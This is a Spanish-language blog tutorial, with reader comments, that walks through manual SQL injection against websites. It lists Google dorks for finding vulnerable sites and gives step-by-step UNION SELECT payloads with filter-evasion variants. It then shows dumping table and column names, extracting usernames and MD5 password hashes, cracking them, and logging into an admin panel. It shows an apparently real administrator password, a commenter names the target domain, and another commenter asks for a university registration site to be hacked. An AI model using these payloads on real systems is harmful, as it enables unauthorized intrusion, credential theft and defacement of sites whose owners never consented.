Advertencias, estos datos solo se proveen con fines educativos, el mal uso de los mismos es pura responsabilidad de cada uno.
¿QUE ES INYECCION SQL?
Según Wikipedia: Inyección
SQL es un método de infiltración de código intruso que se vale de una
vulnerabilidad informática presente en una aplicación en el nivel de
validación de las entradas para realizar consultas a una base de datos.
El origen de la vulnerabilidad radica en el incorrecto chequeo y/o
filtrado de las variables utilizadas en un programa que contiene, o bien
genera, código SQL. Es, de hecho, un error de una clase más general de
vulnerabilidades que puede ocurrir en cualquier lenguaje de programación
o script que esté embebido dentro de otro.
Se conoce como Inyección SQL, indistintamente, al tipo de vulnerabilidad, al método de infiltración, al hecho de incrustar código SQL intruso y a la porción de código incrustado.
Se conoce como Inyección SQL, indistintamente, al tipo de vulnerabilidad, al método de infiltración, al hecho de incrustar código SQL intruso y a la porción de código incrustado.
Según OWASP: Un
ataque de inyección SQL consiste en la inserción o "inyección" de una
consulta SQL a través de los datos de entrada del cliente a la
aplicación. El éxito de vulnerabilidad de inyección SQL puede leer los
datos sensibles de la base de datos, modificar los datos de base de
datos (Insertar / Actualizar / Borrar), ejecutar operaciones de
administración de la base de datos (por ejemplo, apagar el DBMS),
recuperar el contenido de un presente determinado archivo en el archivo
de DBMS sistema y, en algunos casos para ejecutar comandos del sistema
operativo. Ataques de inyección SQL son un tipo de ataque de inyección,
en el que comandos SQL se inyectan en la entrada de datos plano con el
fin de efectuar la ejecución de comandos SQL predefinidas.
La informacion esta en la columna & la columna estan en las tablas y las tablas estan en la base de datos. Solo recuerda eso y después todo se te hara fácil de entender.
¿Que necesitamos para encontrar sitios vulnerables a Inyección Sql?
Necesitamos algunas Dorks
¿Que es una Dork?
Podríamos definir Dorks como búsquedas avanzadas mediante el uso de operadores complejos que google pone a nuestra disposición, mediante el uso de estas facilidades podemos ahorrarnos el trabajo de buscar vulnerabilidades y dejar que google nos muestra las que encontró y tiene indexadas.
Algunas Dorks:
inurl:index.php?id=
inurl:noticias.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:show.php?id=
inurl:staff_id=
Si colocamos la dork "noticias.php?id=6" en google nos saldran sitios que contienes ese id como pueden ver en la siguiente imagen:
Click a la imagen para agrandarla:
*Ahora escribimos una de esas dork en google, y chequeamos los sitios
aver si son vulnerables a inyeccion sql, para eso solo tenemos que
añadir una simple ' al final de la url del sitio, entonces la url se vera asi http://www.sitio.com/noticias.php?id=6' y si nos da un error similar a este :
Warning:
mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in /home/refricom/public_html/lib.php on line 186
Entonces el sitio es vulnerable como se muestra en la siguiente imagen:
Click a la imagen para agrandarla:
Pero en caso de que no quieran
estar googleando aqui les dejo un scaner online que hara su trabajo de
buscar los sitios vulnerables: http://hh4ck3r.webcindario.com/sqliscaner.php utilicen el motor de Bing ya que el de google no funciona y se lo quite.
Creditos: CL-Security@BatBoy
Bueno una vez tengamos un sitio vulnerable, lo siguiente que vamos hacer en buscar cuantas columnas tiene el sitio.
BUSCANDO CUANTAS COLUMNAS TIENE EL SITIO
Para buscar cuantas columnas tiene el sitio solo hay que añadir un simple (order by --) y les vamos aumentando los numeros asi (order by 1--) hasta que consiguemos un error.
www.sitio.com/noticias.php?id=1 order by 1-- (no error)
www.sitio.com/noticias.php?id=1 order by 2-- (no error)
www.sitio.com/noticias.php?id=1 order by 3-- (no error)
www.sitio.com/noticias.php?id=1 order by 4-- (no error)
www.sitio.com/noticias.php?id=1 order by 5-- (no error)
www.sitio.com/noticias.php?id=1 order by 6-- (no error)
www.sitio.com/noticias.php?id=1 order by 7-- (no error)
www.sitio.com/noticias.php?id=1 order by 8-- (no error)
www.sitio.com/noticias.php?id=1 order by 9-- (error)
El error nos sale en la columna 9 porque que no existe, eso significa que la web tiene 8 columnas.
Ahora hagan lo siguiente con la web: les añadimos un "union select"
seguido por los numeros de las columnas separado por una coma.
[*]www.sitio.com/noticias.php?id=6 union select 1,2,3,4,5,6,8--
recuerda siempre poner los guiones --
Tambien aveces tenemos que usar algunos otros operadores en ves de el espacio ejemplo:
[*]www.sitio.com/noticias.php?id=6+union+select+1,2,3,4,5,6,7,8--
Tambien puede ser
[*]www.sitio.com/noticias.php?id=6/**/union/**/select/**/1,2,3,4,5,6,7,8--
o
[*]www.sitio.com/noticias.php?id=6%09union%09select%091,2,3,4,5,6,7,8--
También pueden usar (union select all) en ves de (union select) pero separado por un operador
Tienes que ponerle un guion ( - ) detras del 6 o cualquier numero que
sea o si no, solo cambiar el numero por "null" sin comillas, la url
deberia verse asi:
[*]www.site.com/noticias.php?id=-6 union select 1,2,3,4,5,6,7,8--
Debería estar como esta en la siguiente foto:
Click a la imagen para agrandarla:
CONSIGUIENDO LA VERSIÓN DE MySQL Y EL USER ACTUAL
Bueno para conseguir la vercion de MySQL es facil solo tenemos que añadirle lo siguiente en la columna 2 o 3
[*]www.sitio.com/noticias.php?id=-6 union select 1,version(),3,4,5,6,8--
o si no
[*]www.sitio.com/noticias.php?id=-6 union select 1,@@version,3,4,5,6,8--
Si nos da la version por arriba de 5 es inyectable y si nos da la version por debajo de 5 tenemos que imaginarnos las tablas
Se vera asi como en la siguiente imagen:
Click a la imagen para agrandarla:
Como podemos ver en la imagen esta en 5, entonces si es inyectable
.
Ahora vamos a conseguir el user actual:
Para hacer eso es bien fácil, solo tenemos que escribir "user()" sin comillas en un id inyectable.
La cual la url se vera asi:
[*]www.sitio.com/noticias.php?id=-6 union select 1,user(),3,4,5,6,8--
Click a la imagen para agrandarla:
CONSIGUIENDO LAS TABLAS
Bueno para buscar las tablas solo cogemos una columna, ejemplo cogeré la 2 y le añadiré "group_concat(table_name)" sin comillas, o si quieren solo le ponen table_name pero les recomiendo el group_concat(table_name) y despues de todas las columnas (numeros) pondremos "from information_schema.tables" y los guiones por lo que la url se deveria ver asi:
[*]www.sitio.com/noticias.php?id=-6 union select 1,group_concat(table_name),3,4,5,6,8 from information_schema.tables--
El sitio se vera así, arrojándonos todas las tablas incluso info que no estamos buscando.
Click a la imagen para agrandarla:
Ahora queremos esconder esas otras tablas que no nos interesan, para eso solo hay que agregar "where table_schema=database()" y los guiones, por lo que la url deberia verse asi:
[*]www.sitio.com/noticias.php?id=-6 union select
1,group_concat(table_name),3,4,5,6,8 from information_schema.tables
where table_schema=database()--
La pagina se debería ver así:
Click a la imagen para agrandarla:
Ahí tenemos las tablas que nos interesan incluyendo la del usuario por lo que de seguro ahí debe de estar el user y pass.
Ahora les mostrare como sacar las columnas de esa tabla.
Para hacer eso solo tenemos que enves de poner "group_concat(table_name)" poner "group_concat(column_name)" sin comillas y despues de los números "where information_schema.columns where table_name=usuarios--"
¿Pero que pasaría si ponemos el nombre de la tabla así normal?
Nos dara un error por lo que la tenemos que cambiar a hex, entonces asi se tendria que ver la url:
[*]http://www.sitio.com/index.php?id=-6
union select 1,group_concat(column_name,3,4,5,6,8 from
information_schema.columns where table_name=usuarios--
Entonces nos arroja un error, como en la siguiente imagen:
Click a la imagen para agrandarla:
Entonces, tenemos que cambiar el nombre de la columna a hex desde el siguiente convertidor:
La tabla a convertir es usuarios, entonces ya convertida la tabla se vera asi en hex "7573756172696f73" sin comillas
Ahora donde dice where table_name=usuarios-- sustituimos el
nombre de usuarios y lo pegamos por el de hex y antes de poner el de hex
ponemos "0x" que significa que lo estamos poniendo en hex.
Por lo que la url se deveria ver asi:
[*]http://www.sitio.com/index.php?id=-6 union select
1,group_concat(column_name),3,4,5,6,8 from information_schema.columns
where table_name=0x7573756172696f73--
Resultado:
Click a la imagen para agrandarla:
Como pueden ver consegui estas columnas dentro de la tabla:
id,nombre,usu,pwd,fechareg,valida,sitio
Por lo que posiblemente el user puede estar en las columnas [usu] y la pass en la columna [pwd].
---OBTENIENDO INFORMACIÓN DE LAS COLUMNAS---
Para este paso solo tenemos que que borrar todo desde las columnas y borrar lo de group_concat(column_name) y solo poner concat(), entonces la url se vería así:
[*]http://www.sitio.com/noticias.php?id=-6 union select 1,concat(),3,4,5,6,8 --
Ahora para sacar la info de las columnas usu y pwd tenemos que hacer lo
siguiente, como ven en en concat() dentro de los parenticis tenemos que
poner las columnas, ejemplo:
concat(usu,0x3a,pwd) bueno creo que ya lo explique para que sirve el 0x ,
el 0x significa que los estamos pasando a hex y bueno en este caso estoy pasando a HEX y lo de 3a significa estos dos puntos : así que saldra el user separado por los dos puntos y la pass, ejemplo:
usuario:pass
Pero si quieren que la info sea separado por otra cosa, ejemplo por
<---> solo ir a editor hex que les deje y convertirlo a hex y
cambiarlo por lo de 0x3a y recuerden siempre poner 0x, entonces después de los números ponemos 'from usuarios' sin comillas por lo que la url se deveria verse asi:
[*]http://www.sitio.com/noticias.php?id=-6 union select 1,concat(usu,0x3a,pwd),3,4,5,6,8 from usuarios --
Y se preguntan porque puse "from usuarios" pues esta facil como pueden
ver esas columnas vienen de la tabla usuarios como pueden ver arriba
donde dice consiguiendo la tablas hay pueden ver que estas columnas usu
& pwd bienen de esa tabla , por lo que la consulta que estoy
haciendo es como si estubiera pidiendo esa informacion de las columnas
desde la tabla.
Entonces la pagina quedaria de la siguiente manera:
Click a la imagen para agrandarla:
Pues ahora hay que desencryptar la pass en md5, pero recuerden que algunas veces la pass no estan encryptadas, entonces como dijimos esta encryptada en md5 por lo que tenemos que desencryptarla.
DESENCRYPTANDO PASSWORDS EN MD5
Podemos utilizar algunos decrypters online de md5 como las siguientes paginas:
Y muchas mas que existen en la red, pero en este caso yo usare una tool programada en Perl para desencryptar dicho MD5.
Si desean la Tool, pueden obtener el código desde aquí: http://fpaste.org/8PyU/ solo la compilan y lo lanzan.
Entonces el password a desencryptar es: 9580dbba64a17257183b730068d4f8bc
Ejecuto la Tool:
Click a la imagen para agrandarla:
Es fácil de usar, como pueden ver hay dos opciones 1 y 2, si
escogen la 1 tendran que poner su hash y el programa mandara su hash a
sitios a ver si lo puede crakear y la opcion 2 es para que carguen su
propio diccionario y cracken el hash.
En este caso yo escogí la opción 1 y el resultado es el siguiente:
Click a la imagen para agrandarla:
Según toda la informacion que he obtenido, el user debe de ser 'Administrator' y la pass 'fede86'
OBTENIENDO EL PANEL DE CONTROL DEL ADMIN
Ya que tenemos el user y pass que son Administrator y fede86 solo
nos faltaría encontrar el panel de administración, para eso necesitamos
un admin panel finder, pueden usar este finder online:
Obteniendo el link del panel de administración, solo faltaría logearnos con el user Administrator y pass fede86
Click a la imagen para agrandarla:
& Voila... Ingresamos !
Click a la imagen para agrandarla:
Ahora, solo queda en sus manos lo que quieran hacer con alguna web vulnerable.
Recuerden que este tutorial es para realizar la Inyección SQL
manualmente, también existen muchos metodos mas, pueden utilizar algunas
herramientas para explotar la misma, pero ya luego estaré hablando
sobre eso.
Saludos...
Buen tuto ....
ResponderEliminargracias por compartir
al fin un tutorial bien explicado gracias
ResponderEliminarexelente tuto gracias por el aporte de conocimieto q das
ResponderEliminarbuen tuto lastima que no sirve mas para acceder al panel de control y la inyeccion no es mas en la dork www.refrisistemas.com/noticias.php?id=-6 sino en http://www.refrisistemas.com/noticias.php?ID=3 algien pudo acceder al admin panel?
ResponderEliminarGracias buen tutorial execelentes amigos...
ResponderEliminarAmigos, yo quisiera saber si uds podrian hackear la página de registro de la UNAH, y poder matricularme en una clase???
ResponderEliminar